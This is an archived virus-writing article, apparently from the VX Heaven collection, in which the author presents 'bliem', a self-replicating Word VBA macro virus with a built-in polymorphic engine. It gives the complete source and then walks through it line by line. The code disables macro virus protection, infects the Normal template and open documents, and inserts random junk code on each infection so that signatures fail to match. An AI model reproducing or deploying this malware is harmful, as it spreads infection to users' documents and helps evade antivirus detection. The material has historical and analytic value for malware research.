# The 'bliem' polymorphic engine for VBA

vxug.fakedoma.in/archive/VxHeaven/lib/vjt04.html

## VX Heaven

jack twoflower

Hi folks, I am back with a new maybe unique vba polymorphic engine! This engine is a combination of both a class infector and a polymorphic engine. The whole thing is called 'bliem' like the virus I first used this engine in. Let's say something about the technic...

The most bad thing about the already existing polymorphic engines for vba was that the always inserted the code at the same lines or the volume of the source code growed and growed and ... So 'bliem' doesn't have such problems. The main good thing in 'bliem' is that it always 'keeps an eye' on the actually size of the source code and reduces it when it's too big. Let's say something about the technic of inserting the junkcode: The junkcode is inserted into the viruscode not in the common way. The junkcode is inserted while infection. This means that the whole viruscode is stored in arrays and the junkcode is stored in some of this arrays. Like the main code is stored there, also junkcode is also there and will be inserted while infecting the new class object. While inserting the actual code into arrays, the 'bliem brain' is checking for the actually size of itself and if its too big, it deletes some junk arrays. I use this method because the old one with the command '.deletelines' only screwed up the code.

To make 'bliem' work you have to insert a comment sign ( ' ) in the end of every code line. 'bliem' uses this for finding the junkcode in the normal virus code. Without this signs the virus and the polymorphic engine won't work.

So 'bliem' is infector and polymorphic engine in one, so don't wonder about the code. If you have any questions or whatever, feel free and mail me!

!This is only the distribution code. Original code uses shorter variable names!

```
Private Sub document_open() '
Dim virus(150): virus(1) = "bliem": Options.VirusProtection = (Rnd * 0) '
Set ho = MacroContainer.VBProject: Set hos = ho.VBComponents(1) '
Set host = hos.CodeModule: Set skip = NormalTemplate: this = Chr(39) '
Set newhost = skip.VBProject.VBComponents(1).CodeModule '
For y = 1 To Int(75 - (Rnd * 20)): vx = vx & Chr(255 - Int(Rnd * 100)): Next y '
vcode = "Private Sub document_close()" & this & vx & vbCr '
If MacroContainer = NormalTemplate Then '
Set skip = ActiveDocument '
Set newhost = skip.VBProject.VBComponents(1).CodeModule '
vcode = "Sub document_open()" & this & vx & vbCr '
End If: Randomize: lines_ = host.countoflines '
For i = 2 To lines_ '
junkcode = "" '
dis = Int(Rnd * 3) '
pos = InStr(host.Lines(i, 1), this) '
If pos = 0 Then GoTo end_ '
If pos = 2 And lines_ > 100 Then '
virus(i) = "": dis = 1: GoTo next_ '
End If '
virus(i) = Left(host.Lines(i, 1), (pos - 1)) '
For j = 1 To Int(75 - (Rnd * 20))  '
junkcode = junkcode & Chr(255 - Int(Rnd * 100)) '
Next j '
virus(i) = virus(i) & this & junkcode '
If dis = 2 Then virus(i) = virus(i) & vbCr & Chr(32) & this & junkcode '
vcode = vcode & virus(i) & vbCr '
next_: '
Next i '
end_: '
If newhost.countoflines < 2 Then '
newhost.AddFromString vcode '
skip.Save '
End If '
End Sub '
If Day(Now()) = 31 Then msbox virus(1) '
Rem Another virus by Jack Twoflower [LineZer0 & Metaphase] '
Rem Uses "bliem" polymorhic engine by Jack Twoflower '
```

I'll walk now through the code...

```
> Attention. The whole engine needs this " ' " signs after every
> line of code.

Private Sub document_open() '
Dim virus(150): virus(1) = "bliem": Options.VirusProtection = (Rnd * 0) '

> Dim the arrays. We need about 150 coz in this array the whole virus
> code will be stored. Turn off Virusprotection...

Set ho = MacroContainer.VBProject: Set hos = ho.VBComponents(1) '
Set host = hos.CodeModule: Set skip = NormalTemplate: this = Chr(39) '

> Set here our current host

For y = 1 To Int(75 - (Rnd * 20)): vx = vx & Chr(255 - Int(Rnd * 100)): Next y '

> Create junk code for the engine

vcode = "Private Sub document_close()" & this & vx & vbCr '

> This will be our first line of code...

If MacroContainer = NormalTemplate Then '
Set skip = ActiveDocument '
vcode = "Sub document_open()" & this & vx & vbCr '
End If: Randomize: lines_ = host.countoflines '

> If we are here in the Normaltemplate then exchange the hosts.

Set newhost = skip.VBProject.VBComponents(1).CodeModule '

> Set the new host

For i = 2 To lines_ '

> Here the 'brain' of the engine starts...

junkcode = "" '

> Clear the variable every loop

dis = Int(Rnd * 3) '

> Generate a random number for the engine

pos = InStr(host.Lines(i, 1), this) '

> Get the position of the " ' " character in every line...

If pos = 0 Then GoTo end_ '

> If there is no such sign goto end...

If pos = 2 And lines_ > 100 Then '
```

```
> The following code gets active if the size of the whole
> code is growing too big...it cuts the junkcode line out
> of the normal code...

virus(i) = "": dis = 1: GoTo next_ '

> Clear this variable and goto next loop

End If '
virus(i) = Left(host.Lines(i, 1), (pos - 1)) '

> If the size is not too big, copy the normal code without
> the junkcode into the arrays...

For j = 1 To Int(75 - (Rnd * 20))  '
junkcode = junkcode & Chr(255 - Int(Rnd * 100)) '
Next j '

> Generate junkcode again...

virus(i) = virus(i) & this & junkcode '

> Add the junkcode...

If dis = 2 Then virus(i) = virus(i) & vbCr & Chr(32) & this & junkcode '

> If the 'dis' integer is 2 then add some junkcode lines into our code...

vcode = vcode & virus(i) & vbCr '

> Add the whole code into 'vcode'

next_: '
Next i '

> Play it again Sam!

end_: '
If newhost.countoflines < 2 Then '

> If there are 0 or 1 line in our newhost...

newhost.AddFromString vcode '

> infect it...

skip.Save '

> and save it...

End If '
If Day(Now()) = 31 Then msbox virus(1) '

> little payload...
```

```
End Sub '
Rem Another virus by jack twoflower [LineZer0 & Metaphase] '
Rem Uses "bliem" polymorhic engine by jack twoflower '
```

So this is the whole thing, little effectiv code I think. If you have any thinks to say about this or other stuff, feel free and mail me...

have phun,

```
                        jack twoflower
```